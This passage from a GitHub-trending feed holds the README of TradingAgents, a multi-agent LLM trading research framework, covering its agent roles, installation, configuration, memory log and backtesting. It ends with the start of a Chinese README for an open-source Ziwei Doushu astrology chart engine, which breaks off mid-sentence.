4.x, Grok 4.x) and improved system architecture.</li> \n  <li>[2026-01] <strong>Trading-R1</strong> <a href=\"https://arxiv.org/abs/2509.11420\">Technical Report</a> released, with <a href=\"https://github.com/TauricResearch/Trading-R1\">Terminal</a> expected to land soon.</li> \n </ul> \n</details> \n<!-- news:end --> \n<div align=\"center\"> \n <p>\ud83d\ude80 <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#tradingagents-framework\">TradingAgents</a> | \u26a1 <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#installation-and-cli\">Installation &amp; CLI</a> | \ud83c\udfac <a href=\"https://www.youtube.com/watch?v=90gr5lwjIho\">Demo</a> | \ud83d\udce6 <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#tradingagents-package\">Package Usage</a> | \ud83e\udd1d <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#contributing\">Contributing</a> | \ud83d\udcc4 <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#citation\">Citation</a></p> \n</div> \n<blockquote> \n <p>\ud83c\udf89 <strong>TradingAgents</strong> officially released! We have received numerous inquiries about the work, and we would like to express our thanks for the enthusiasm in our community.</p> \n <p>So we decided to fully open-source the framework. Looking forward to building impactful projects with you!</p> \n</blockquote> \n<h2>TradingAgents Framework</h2> \n<p>TradingAgents is a multi-agent trading framework that mirrors the dynamics of real-world trading firms. By deploying specialized LLM-powered agents: from fundamental analysts, sentiment experts, and technical analysts, to trader, risk management team, the platform collaboratively evaluates market conditions and informs trading decisions. Moreover, these agents engage in dynamic discussions to pinpoint the optimal strategy.</p> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/schema.png\" style=\"width: 100%; height: auto;\" /> </p> \n<blockquote> \n <p>TradingAgents framework is designed for research purposes. Trading performance may vary based on many factors, including the chosen backbone language models, model temperature, trading periods, the quality of data, and other non-deterministic factors. <a href=\"https://tauric.ai/disclaimer/\">It is not intended as financial, investment, or trading advice.</a></p> \n</blockquote> \n<p>Our framework decomposes complex trading tasks into specialized roles.</p> \n<h3>Analyst Team</h3> \n<ul> \n <li>Fundamentals Analyst: Evaluates company financials and performance metrics, identifying intrinsic values and potential red flags.</li> \n <li>Sentiment Analyst: Aggregates news headlines, StockTwits, and Reddit chatter into a single sentiment read to gauge short-term market mood.</li> \n <li>News Analyst: Monitors global news and macroeconomic indicators, interpreting the impact of events on market conditions.</li> \n <li>Technical Analyst: Utilizes technical indicators (like MACD and RSI) to detect trading patterns and forecast price movements.</li> \n</ul> \n<p>The selected analysts work at the same time, each on its own tools, and the research debate starts once all of their reports are in.</p> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/analyst.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"100%\" /> </p> \n<h3>Researcher Team</h3> \n<ul> \n <li>Comprises both bullish and bearish researchers who critically assess the insights provided by the Analyst Team. Through structured debates, they balance potential gains against inherent risks.</li> \n</ul> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/researcher.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"70%\" /> </p> \n<h3>Trader Agent</h3> \n<ul> \n <li>Composes reports from the analysts and researchers to make informed trading decisions, determining the timing and magnitude of trades.</li> \n</ul> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/trader.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"70%\" /> </p> \n<h3>Risk Management and Portfolio Manager</h3> \n<ul> \n <li>Continuously evaluates portfolio risk by assessing market volatility, liquidity, and other risk factors. The risk management team evaluates and adjusts trading strategies, providing assessment reports to the Portfolio Manager for final decision.</li> \n <li>The Portfolio Manager approves/rejects the transaction proposal. If approved, the order will be sent to the simulated exchange and executed.</li> \n</ul> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/risk.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"70%\" /> </p> \n<h2>Installation and CLI</h2> \n<h3>Installation</h3> \n<p>Clone TradingAgents:</p> \n<pre><code class=\"language-bash\">git clone https://github.com/TauricResearch/TradingAgents.git\ncd TradingAgents\n</code></pre> \n<p>TradingAgents needs Python 3.11 or later. Create a virtual environment in any of your favorite environment managers:</p> \n<pre><code class=\"language-bash\">conda create -n tradingagents python=3.13\nconda activate tradingagents\n</code></pre> \n<p>Or with <a href=\"https://docs.astral.sh/uv/\">uv</a>:</p> \n<pre><code class=\"language-bash\">uv venv --python 3.13\nsource .venv/bin/activate\n</code></pre> \n<p>Install the package and its dependencies (<code>uv pip install .</code> with uv):</p> \n<pre><code class=\"language-bash\">pip install .\n</code></pre> \n<h3>Docker</h3> \n<p>Alternatively, run with Docker:</p> \n<pre><code class=\"language-bash\">cp .env.example .env  # add your API keys\ndocker compose run --rm tradingagents\n</code></pre> \n<p>After updating the repository, rebuild the image with <code>docker compose build</code>.</p> \n<p>Results, reports, the memory log and the cache live in the <code>tradingagents_data</code> volume. To keep them in a folder on the host instead, create the folder and point <code>TRADINGAGENTS_DATA_DIR</code> at it, in <code>.env</code> or the shell: <code>mkdir -p data &amp;&amp; TRADINGAGENTS_DATA_DIR=./data docker compose run --rm tradingagents</code>.</p> \n<p>For local models with Ollama:</p> \n<pre><code class=\"language-bash\">docker compose --profile ollama run --rm tradingagents-ollama\n</code></pre> \n<h3>Required APIs</h3> \n<p>TradingAgents supports multiple LLM providers. Set the API key for your chosen provider:</p> \n<pre><code class=\"language-bash\">export OPENAI_API_KEY=...          # OpenAI (GPT)\nexport GOOGLE_API_KEY=...          # Google (Gemini)\nexport ANTHROPIC_API_KEY=...       # Anthropic (Claude)\nexport XAI_API_KEY=...             # xAI (Grok)\nexport DEEPSEEK_API_KEY=...        # DeepSeek\nexport DASHSCOPE_API_KEY=...       # Qwen (international, dashscope-intl.aliyuncs.com)\nexport DASHSCOPE_CN_API_KEY=...    # Qwen (China, dashscope.aliyuncs.com)\nexport ZHIPU_API_KEY=...           # GLM via Z.AI (international)\nexport ZHIPU_CN_API_KEY=...        # GLM via BigModel (China, open.bigmodel.cn)\nexport MINIMAX_API_KEY=...         # MiniMax (global, api.minimax.io)\nexport MINIMAX_CN_API_KEY=...      # MiniMax (China, api.minimaxi.com)\nexport OPENROUTER_API_KEY=...      # OpenRouter\nexport MISTRAL_API_KEY=...         # Mistral\nexport MOONSHOT_API_KEY=...        # Kimi (Moonshot)\nexport GROQ_API_KEY=...            # Groq\nexport NVIDIA_API_KEY=...          # NVIDIA NIM\nexport FRED_API_KEY=...            # FRED macro data (free, optional)\nexport ALPHA_VANTAGE_API_KEY=...   # Alpha Vantage\nexport TYPESAFE_API_KEY=...        # Jev social-post screening (optional)\n</code></pre> \n<p>For Azure OpenAI, copy <code>.env.enterprise.example</code> to <code>.env.enterprise</code> and fill in your credentials.</p> \n<p>To run on your ChatGPT Plus or Pro plan instead of an API key, choose \"Subscription\" in the CLI's provider menu, or set <code>llm_provider: \"chatgpt\"</code>. Sign in once with <code>tradingagents login chatgpt</code>: it prints an address to open in your browser, which returns to this machine on <code>127.0.0.1</code>. When the browser runs on another machine, or TradingAgents runs in Docker (<code>docker compose run --rm tradingagents login chatgpt</code>), paste the address the browser ends up on. The sign-in is kept in <code>~/.tradingagents/chatgpt-auth.json</code>, and <code>tradingagents logout chatgpt</code> revokes it. Runs count toward your plan's usage limits, and the plan does not accept <code>temperature</code> or <code>max_tokens</code>.</p> \n<p>For AWS Bedrock, install the extra with <code>pip install \".[bedrock]\"</code>, set <code>llm_provider: \"bedrock\"</code>, configure AWS credentials (environment variables, <code>~/.aws/credentials</code>, or an IAM role) and <code>AWS_DEFAULT_REGION</code>, and use a Bedrock model ID, e.g. <code>us.anthropic.claude-opus-5-5</code>.</p> \n<p>For local models, configure Ollama with <code>llm_provider: \"ollama\"</code>. The default endpoint is <code>http://localhost:11434/v1</code>; set <code>OLLAMA_BASE_URL</code> to point at a remote <code>ollama-serve</code>. Pull models with <code>ollama pull &lt;name&gt;</code>, and pick \"Custom model ID\" in the CLI for any model not listed by default.</p> \n<p>For any other OpenAI-compatible server (vLLM, LM Studio, llama.cpp, or a custom relay), use <code>llm_provider: \"openai_compatible\"</code> and set the endpoint via <code>backend_url</code> (or <code>TRADINGAGENTS_LLM_BACKEND_URL</code>), e.g. <code>http://localhost:8000/v1</code> for vLLM or <code>http://localhost:1234/v1</code> for LM Studio. The model is whatever your server serves. No key is needed for local servers; set <code>OPENAI_COMPATIBLE_API_KEY</code> when the endpoint requires one.</p> \n<p>With <code>TYPESAFE_API_KEY</code> set, the Sentiment Analyst screens StockTwits and Reddit posts with TypeSafe's Jev before reading them. Posts that are not about the company are dropped, and each source opens with a count of the remaining posts by stance: bullish, bearish, neutral, or unclear. Without the key, posts pass through unscreened. <code>jev-latest</code> moves with new releases; set <code>TYPESAFE_DEFAULT_MODEL</code> to a versioned ID such as <code>jev-1.13.0</code> to hold it fixed across runs. To reach Jev through OpenRouter, put an OpenRouter key in <code>TYPESAFE_API_KEY</code> and set <code>TYPESAFE_BASE_URL=https://openrouter.ai/api</code>.</p> \n<p>Alternatively, copy <code>.env.example</code> to <code>.env</code> and fill in your keys:</p> \n<pre><code class=\"language-bash\">cp .env.example .env\n</code></pre> \n<h3>CLI Usage</h3> \n<p>Launch the interactive CLI:</p> \n<pre><code class=\"language-bash\">tradingagents          # installed command\npython -m cli.main     # alternative: run directly from source\n</code></pre> \n<p>You will see a screen where you can select your desired tickers, analysis date, LLM provider, research depth, and more. Your previous run's answers come back as the defaults, so pressing Enter accepts them. The <code>TRADINGAGENTS_*</code> variables in <code>.env</code> still skip their step entirely.</p> \n<p>To run without questions, for a scheduled job or a script, answer the per-run steps with flags and the rest with <code>TRADINGAGENTS_*</code> variables:</p> \n<pre><code class=\"language-bash\">export TRADINGAGENTS_LLM_PROVIDER=openai TRADINGAGENTS_QUICK_THINK_LLM=gpt-6-luna TRADINGAGENTS_DEEP_THINK_LLM=gpt-6-sol\nexport TRADINGAGENTS_OUTPUT_LANGUAGE=English TRADINGAGENTS_MAX_DEBATE_ROUNDS=1 TRADINGAGENTS_MAX_RISK_ROUNDS=1\ntradingagents --ticker NVDA --date 2026-09-23 --analysts market,news,fundamentals --save --no-show\n</code></pre> \n<p>Each flag skips only its own question. Run without a terminal, a missing answer stops the run before it starts and names the flag or variable to set.</p> \n<p>At start-up the interactive CLI mentions a newer release and notices from Tauric Research. It checks at most once a day, in the background, and sends nothing about your runs; set <code>TRADINGAGENTS_NO_UPDATE_CHECK=1</code> to turn it off. Runs without a terminal never check.</p> \n<p>A saved report also includes <code>complete_report.html</code>, the report as one page with its sections listed beside the text, for reading in a browser, on a phone or in print. Answering the save question at the prompt also asks about the page and can open it in your browser; <code>--no-html</code> skips it, and so does <code>ta.save_reports(state, \"NVDA\", html=False)</code> from Python.</p> \n<h3>Markets and tickers</h3> \n<p>TradingAgents works with any market Yahoo Finance covers, using the exchange-suffixed ticker. Company identity and the alpha benchmark resolve automatically per market.</p> \n<ul> \n <li>US: <code>AAPL</code>, <code>SPY</code></li> \n <li>Hong Kong: <code>0700.HK</code> \u00b7 Tokyo: <code>7203.T</code> \u00b7 London: <code>AZN.L</code></li> \n <li>India: <code>RELIANCE.NS</code>, <code>.BO</code> \u00b7 Canada: <code>.TO</code> \u00b7 Australia: <code>.AX</code></li> \n <li>China A-shares: Shanghai <code>.SS</code>, Shenzhen <code>.SZ</code> (e.g. <code>600519.SS</code> for Kweichow Moutai)</li> \n <li>Crypto: <code>BTC-USD</code>, <code>ETH-USD</code></li> \n</ul> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_init.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"100%\" /> </p> \n<p>An interface will appear showing results as they load, letting you track the agent's progress as it runs.</p> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_news.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"100%\" /> </p> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_transaction.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"100%\" /> </p> \n<h2>TradingAgents Package</h2> \n<h3>Implementation Details</h3> \n<p>We built TradingAgents with LangGraph to ensure flexibility and modularity. The framework supports multiple LLM providers: OpenAI, Google, Anthropic, xAI, DeepSeek, Qwen (Alibaba DashScope, international and China endpoints), GLM (Zhipu), MiniMax (global + China), OpenRouter, Ollama for local models, Azure OpenAI for enterprise, and your own ChatGPT plan.</p> \n<h3>Python Usage</h3> \n<p>To use TradingAgents inside your code, you can import the <code>tradingagents</code> module and initialize a <code>TradingAgentsGraph()</code> object. The <code>.propagate()</code> function will return a decision. You can run <code>main.py</code>, here's also a quick example:</p> \n<pre><code class=\"language-python\">from tradingagents.graph.trading_graph import TradingAgentsGraph\nfrom tradingagents.default_config import DEFAULT_CONFIG\n\nta = TradingAgentsGraph(debug=True, config=DEFAULT_CONFIG.copy())\n\n# forward propagate\nstate, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nprint(decision)\n\n# the same report tree the CLI saves, under results_dir/reports\nta.save_reports(state, \"NVDA\")\n</code></pre> \n<p>You can also adjust the default configuration to set your own choice of LLMs, debate rounds, etc.</p> \n<pre><code class=\"language-python\">from tradingagents.graph.trading_graph import TradingAgentsGraph\nfrom tradingagents.default_config import DEFAULT_CONFIG\n\nconfig = DEFAULT_CONFIG.copy()\nconfig[\"llm_provider\"] = \"openai\"        # e.g. openai, google, anthropic, deepseek, groq, ollama; openai_compatible covers any OpenAI-compatible endpoint (vLLM, LM Studio, llama.cpp, ...)\nconfig[\"deep_think_llm\"] = \"gpt-6-sol\"    # Model for complex reasoning\nconfig[\"quick_think_llm\"] = \"gpt-6-luna\"   # Model for quick tasks\nconfig[\"max_debate_rounds\"] = 2\n\nta = TradingAgentsGraph(debug=True, config=config)\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nprint(decision)\n</code></pre> \n<p>The quick model serves the analysts, researchers, debaters and trader; the deep model serves the research and portfolio managers. Each can run on its own provider, for example the managers on Claude while the rest run on OpenAI:</p> \n<pre><code class=\"language-python\">config[\"deep_think_provider\"] = \"anthropic\"\nconfig[\"deep_think_llm\"] = \"claude-opus-5-5\"\n</code></pre> \n<p>A tier on its own provider uses that provider's key and default endpoint; set <code>quick_think_backend_url</code> or <code>deep_think_backend_url</code> for a local or relay endpoint. The <code>TRADINGAGENTS_DEEP_THINK_PROVIDER</code> and <code>TRADINGAGENTS_QUICK_THINK_PROVIDER</code> variables set them for the CLI, together with the tier's model variable.</p> \n<p>See <code>tradingagents/default_config.py</code> for all configuration options.</p> \n<h3>Fundamentals as filed</h3> \n<p>US company statements come from SEC EDGAR, which records the date every figure was filed. A run dated in the past reads the statements exactly as they stood that day: a fiscal year that has ended but has not been filed yet is not served, and a figure restated later still reads as first reported. Apple's 2008 total assets were filed as $39.6B and restated to $36.2B in 2010, so a run dated in between reads $39.6B. EDGAR needs no account or API key.</p> \n<p>Other companies' statements come from Yahoo Finance, which dates a statement by the period it covers rather than by when it was published. A run dated today reads them; a run dated in the past is told they are withheld, since Yahoo cannot say which figures were public by then.</p> \n<p>Insider trades are dated by when they happened, not when they were filed, so a run dated in the past is told they are withheld as well.</p> \n<p>SEC asks callers to identify themselves and refuses requests that carry no contact address, so a default one is sent. Set your own so SEC can reach you rather than the project:</p> \n<pre><code class=\"language-bash\">SEC_EDGAR_USER_AGENT=\"Your Name your@email.com\"\n</code></pre> \n<p>It covers companies that file with the SEC, including foreign companies listed in the US. Anything else, such as Hong Kong or A-share listings, falls through to the next vendor in the chain. EDGAR's machine-readable filings begin in 2009, and a fourth quarter is reported as unavailable rather than derived, because filers publish it only inside the annual figure.</p> \n<h3>Current holdings</h3> \n<p>By default the agents do not know what you hold, so their guidance is written for a reader who applies it to their own position. Pass a portfolio to have the trader, the risk analysts and the portfolio manager work against your actual book.</p> \n<pre><code class=\"language-python\">from tradingagents.portfolio import PortfolioContext\n\nportfolio = PortfolioContext.model_validate({\n    \"cash\": 25000.0,\n    \"currency\": \"USD\",\n    \"positions\": [{\"ticker\": \"NVDA\", \"quantity\": 120, \"average_price\": 150.0}],\n})\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\", portfolio=portfolio)\n</code></pre> \n<p>The CLI takes the same content as a JSON file: <code>tradingagents --portfolio my_book.json</code>.</p> \n<p>An empty <code>positions</code> list means a flat book, which is different from passing nothing. A run without a portfolio is never treated as flat.</p> \n<h2>Persistence and Recovery</h2> \n<p>TradingAgents persists two kinds of state across runs.</p> \n<h3>Memory log</h3> \n<p>The memory log is always on. Each completed run appends its decision to <code>~/.tradingagents/memory/trading_memory.md</code>. While the analysts of a later run work, TradingAgents settles every logged decision whose holding period has passed: it fetches the realised return (raw, and alpha against the instrument's regional benchmark) and generates a one-paragraph reflection. The Portfolio Manager then reads the most recent decisions for the same ticker plus recent lessons from other tickers, so each analysis carries forward what worked and what didn't. If settling fails, the run goes on and its report says so.</p> \n<p>Override the path with <code>TRADINGAGENTS_MEMORY_LOG_PATH</code>.</p> \n<p>To settle decisions without running an analysis, for a scheduled job, call <code>ta.settle_all_pending()</code>; it returns the decisions it settled and any it could not.</p> \n<h3>Checkpoint resume</h3> \n<p>Checkpoint resume is opt-in via <code>--checkpoint</code>. When enabled, LangGraph saves state after each node so a crashed or interrupted run resumes from the last successful step instead of starting over. The run view says whether it resumed a saved run or started fresh. Checkpoints are cleared automatically on successful completion.</p> \n<p>Per-ticker SQLite databases live at <code>~/.tradingagents/cache/checkpoints/&lt;TICKER&gt;.db</code> (override the base with <code>TRADINGAGENTS_CACHE_DIR</code>). Use <code>--clear-checkpoints</code> to reset all of them before a run.</p> \n<pre><code class=\"language-bash\">tradingagents --checkpoint           # enable for this run\ntradingagents --clear-checkpoints    # reset before running\n</code></pre> \n<pre><code class=\"language-python\">config = DEFAULT_CONFIG.copy()\nconfig[\"checkpoint_enabled\"] = True\nta = TradingAgentsGraph(config=config)\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\n</code></pre> \n<h2>Evaluating decisions over time</h2> \n<p>One run gives one decision, which cannot tell you whether the system decides well. <code>run_backtest</code> runs the same pipeline over a grid of tickers and dates, writes to a memory log of its own, and scores the decisions whose holding window has since traded.</p> \n<pre><code class=\"language-python\">from tradingagents.backtest import iter_grid, run_backtest, summarize\n\ndates = iter_grid(\"2026-06-01\", \"2026-08-01\", every_n_days=7)\nresult = run_backtest([\"NVDA\", \"AAPL\"], dates, config, selected_analysts=[\"market\", \"news\"])\nprint(summarize(result).render())\n</code></pre> \n<p>From the CLI:</p> \n<pre><code class=\"language-bash\">tradingagents backtest NVDA,AAPL --start 2026-06-01 --end 2026-08-01 --every 7\n</code></pre> \n<p>Each cell is scored on realized alpha against the instrument's regional benchmark, grouped by rating. A decision is entered at the first close after its date, because a run reads news published after that day's close. Your own memory log is never written to, and re-running the same grid with <code>run_id=result.run_id</code> skips the cells that already ran, so an interrupted sweep continues where it stopped.</p> \n<h2>Reproducibility</h2> \n<p>TradingAgents is LLM-driven, so two runs of the same ticker and date can differ. This is expected for a research tool built on language models, not a defect. The variation comes from a few distinct sources, and it helps to separate them.</p> \n<p>Language model sampling is non-deterministic. Even at a fixed temperature, providers do not guarantee byte-identical output across calls, and reasoning models (the default GPT-6 family, and any thinking-mode model) vary the most because their internal reasoning is itself sampled.</p> \n<p>Live data moves. News, StockTwits, and Reddit return different content as time passes, so a run today sees different inputs than a run last week even for the same historical trade date. Pin the analysis date to hold the price and indicator window fixed, but the social and news sources still reflect \"now\".</p> \n<p>To reduce variation you can lower the sampling temperature. Set <code>temperature</code> in your config (or <code>TRADINGAGENTS_TEMPERATURE</code> in <code>.env</code>); lower values make models that honor it more repeatable. The current curated models are reasoning-first and largely ignore temperature, so for tighter reproducibility name a non-reasoning model in your config, or in <code>TRADINGAGENTS_DEEP_THINK_LLM</code> and <code>TRADINGAGENTS_QUICK_THINK_LLM</code>. Any model ID your provider serves is accepted, whether or not the picker lists it.</p> \n<pre><code class=\"language-python\">config = DEFAULT_CONFIG.copy()\nconfig[\"llm_provider\"] = \"openai\"\nconfig[\"temperature\"] = 0.0\n# Reasoning models ignore temperature. For tighter reproducibility, name a\n# non-reasoning model in deep_think_llm / quick_think_llm.\n</code></pre> \n<p>What does not vary anymore: the analyzed company identity is resolved deterministically from the ticker before any agent runs, and the market analyst grounds exact price and indicator claims in a verified data snapshot. Earlier reports of \"different companies\" or fabricated price levels across runs are addressed by these two mechanisms.</p> \n<p>Backtest results are not guaranteed to match any published figure. Returns depend on the model, the temperature, the date range, data quality, and the sampling above. Treat the framework as a research scaffold for studying multi-agent analysis, not as a strategy with a fixed, replicable return.</p> \n<h2>Contributing</h2> \n<p>Contributions are welcome: bug fixes, documentation, and feature ideas; past contributions are credited per release in <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/CHANGELOG.md\"><code>CHANGELOG.md</code></a>.</p> \n<h2>Citation</h2> \n<p>Please reference our work if you find <em>TradingAgents</em> provides you with some help \ud83d\ude03</p> \n<pre><code>@misc{xiao2025tradingagentsmultiagentsllmfinancial,\n      title={TradingAgents: Multi-Agents LLM Financial Trading Framework}, \n      author={Yijia Xiao and Edward Sun and Di Luo and Wei Wang},\n      year={2025},\n      eprint={2412.20138},\n      archivePrefix={arXiv},\n      primaryClass={q-fin.TR},\n      url={https://arxiv.org/abs/2412.20138}, \n}\n</code></pre>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/Renhuai123/ziwei-doushu", "url": "https://github.com/Renhuai123/ziwei-doushu", "external_url": null, "title": "Renhuai123/ziwei-doushu", "content_text": "", "content_html": "<p>\u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u6392\u76d8\u5f15\u64ce \u2014 \u57fa\u4e8e\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u4f53\u7cfb\uff0c\u542b\u5b8c\u6574\u6392\u76d8\u7b97\u6cd5\u3001\u56db\u5316\u7cfb\u7edf\u3001\u683c\u5c40\u77e5\u8bc6\u5e93\u3001\u53e4\u7c4d\u539f\u6587\u6570\u636e</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://metisziwei.com/?from=gh-about\">https://metisziwei.com/?from=gh-about</a></p><hr /><div align=\"center\"> \n <h1>\u7d2b\u5fae\u6597\u6570 \u00b7 \u5f00\u6e90\u6392\u76d8\u5f15\u64ce</h1> \n <h3>\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc</h3> \n <p><a href=\"https://github.com/Renhuai123/ziwei-doushu/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/Renhuai123/ziwei-doushu/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/LICENSE\"><img alt=\"License: MIT\" src=\"https://img.shields.io/badge/code-MIT-blue.svg?sanitize=true\" /></a> <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\"><img alt=\"Dataset: CC BY 4.0\" src=\"https://img.shields.io/badge/dataset-CC%20BY%204.0-green.svg?sanitize=true\" /></a></p> \n <p><strong>\u4e2d\u6587</strong> \u00b7 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/README.en.md\">English</a></p> \n</div> \n<p><strong>\u4e00\u3001\u9879\u76ee\u7406\u5ff5</strong>\uff1a\u7d2b\u5fae\u6597\u6570\u662f\u4e2d\u56fd\u4f20\u7edf\u547d\u7406\u5b66\u7684\u7470\u5b9d\uff0c\u502a\u6d77\u53a6\u8001\u5e08\u5728\u300a\u5929\u7eaa\u300b\u4e2d\u7cfb\u7edf\u68b3\u7406\u4e86\u6b63\u5b97\u7684\u7d2b\u5fae\u6597\u6570\u4f53\u7cfb\u3002\u6211\u4eec\u5e0c\u671b\u901a\u8fc7\u6280\u672f\u624b\u6bb5\u8ba9\u66f4\u591a\u4eba\u63a5\u89e6\u548c\u5b66\u4e60\u8fd9\u95e8\u5b66\u95ee\u3002</p> \n<p>\u5f00\u6e90\u6392\u76d8\u7b97\u6cd5\u548c\u77e5\u8bc6\u5e93\uff0c\u662f\u56e0\u4e3a\u6211\u4eec\u76f8\u4fe1\uff1a<strong>\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc</strong>\u3002\u771f\u6b63\u7684\u4ef7\u503c\u5728\u4e8e\u89e3\u8bfb\u7684\u6df1\u5ea6\u3001\u7528\u6237\u4f53\u9a8c\u7684\u6253\u78e8\u3001\u4ee5\u53ca\u6301\u7eed\u8fd0\u8425\u7684\u79ef\u7d2f\u3002</p> \n<p><strong>\u4e8c\u3001\u9879\u76ee\u4fe1\u606f</strong>\uff1a\u57fa\u4e8e<strong>\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b</strong>\u6559\u5b66\u4f53\u7cfb\u7684\u7d2b\u5fae\u6597\u6570\u6392\u76d8\u7cfb\u7edf\uff0c\u5305\u542b\u5b8c\u6574\u6392\u76d8\u7b97\u6cd5\u3001\u56db\u5316\u7cfb\u7edf\u3001\u683c\u5c40\u77e5\u8bc6\u5e93\u3001\u53e4\u7c4d\u539f\u6587\u6570\u636e\uff0c\u4ee5\u53ca\u4e00\u5957\u5b8c\u6574\u5f00\u6e90\u7684\u7d2b\u5fae\u6597\u6570\u89e3\u8bfb\u6570\u636e\uff1a<strong>v4.0 \u89e3\u8bfb\u6570\u636e\u96c6\u2014\u201467.5 \u4e07\u5f20\u547d\u76d8 \u00d7 13 \u7ef4 = 877 \u4e07\u6bb5\u89e3\u8bfb\uff0c\u6b63\u6587\u7ea6 204 \u4ebf\u5b57\uff0c\u89e3\u538b\u540e 56.6 GB</strong>\uff082026-10-15 \u53d1\u5e03\uff09\u3002</p> \n<table> \n <thead> \n  <tr> \n   <th>\u6570\u636e\u96c6</th> \n   <th>\u547d\u76d8</th> \n   <th>\u89e3\u8bfb\u6bb5\u6570</th> \n   <th>\u89e3\u538b\u540e</th> \n   <th>\u8986\u76d6\u5e74\u4efd</th> \n   <th>\u6bcf\u5f20\u76d8\u89e3\u8bfb\u5b57\u6570</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>v4.0 \u89e3\u8bfb\u6570\u636e\u96c6</strong>\uff082026-10-15\uff09</td> \n   <td><strong>674,976</strong></td> \n   <td><strong>8,774,688</strong></td> \n   <td><strong>56.6 GB</strong></td> \n   <td><strong>1950\u20132026</strong>\uff08\u53ea\u542b\u771f\u5b9e\u65e5\u671f\uff09</td> \n   <td><strong>\u7ea6 3.0 \u4e07\u5b57</strong></td> \n  </tr> \n  <tr> \n   <td>v3.0 \u6837\u672c\u6570\u636e\u96c6</td> \n   <td>518,400</td> \n   <td>6,739,200</td> \n   <td>33.1 GB</td> \n   <td>1924\u20131983</td> \n   <td>\u7ea6 2.1 \u4e07\u5b57</td> \n  </tr> \n  <tr> \n   <td>\u53d8\u5316</td> \n   <td>+30%</td> \n   <td>+30%</td> \n   <td><strong>+71%</strong></td> \n   <td>+17 \u5e74</td> \n   <td>+44%</td> \n  </tr> \n </tbody> \n</table> \n<p><sub>v3.0 \u6bcf\u5f20\u76d8\u89e3\u8bfb\u5b57\u6570\u6309 2,160 \u5f20\u76d8\u62bd\u6837\u4f30\u7b97\uff0c\u5176\u4f59\u6570\u5b57\u4e3a\u5168\u91cf\u7edf\u8ba1\uff1b\u4e24\u7248\u6bcf\u5f20\u76d8\u90fd\u662f 13 \u7ef4\u3002</sub></p> \n<p>\u5728\u7ebf\u4f53\u9a8c\uff1a<a href=\"https://metisziwei.com/?from=gh-readme\">metisziwei.com</a>\uff0c\u6392\u76d8\u3001AI \u89e3\u8bfb\u3001\u547d\u76d8\u5386\u53f2\u5168\u90e8\u5f00\u653e\u3002</p> \n<blockquote> \n <p><strong>\u6ce8\uff1a\u5173\u4e8e\u516d\u4eb2\u5224\u65ad</strong></p> \n <p>\u7d2b\u5fae\u6597\u6570\u5728\u516d\u4eb2\uff08\u7236\u6bcd\u3001\u5144\u5f1f\u3001\u5b50\u5973\u7b49\uff09\u5224\u65ad\u4e0a\u5b58\u5728\u4e00\u5b9a\u5c40\u9650\u3002\u502a\u5e08\u5728\u300a\u5929\u7eaa\u300b\u4e2d\u6307\u51fa\uff1a\u201c\u6597\u6570\u6279\u516d\u4eb2\u672c\u6765\u5c31\u6bd4\u8f83\u5dee\u4e00\u70b9\u3002\u201d\uff08<a href=\"https://www.bilibili.com/video/BV1KJsLekEfA?p=3&amp;t=1527\">2\u4e0a \u00b7 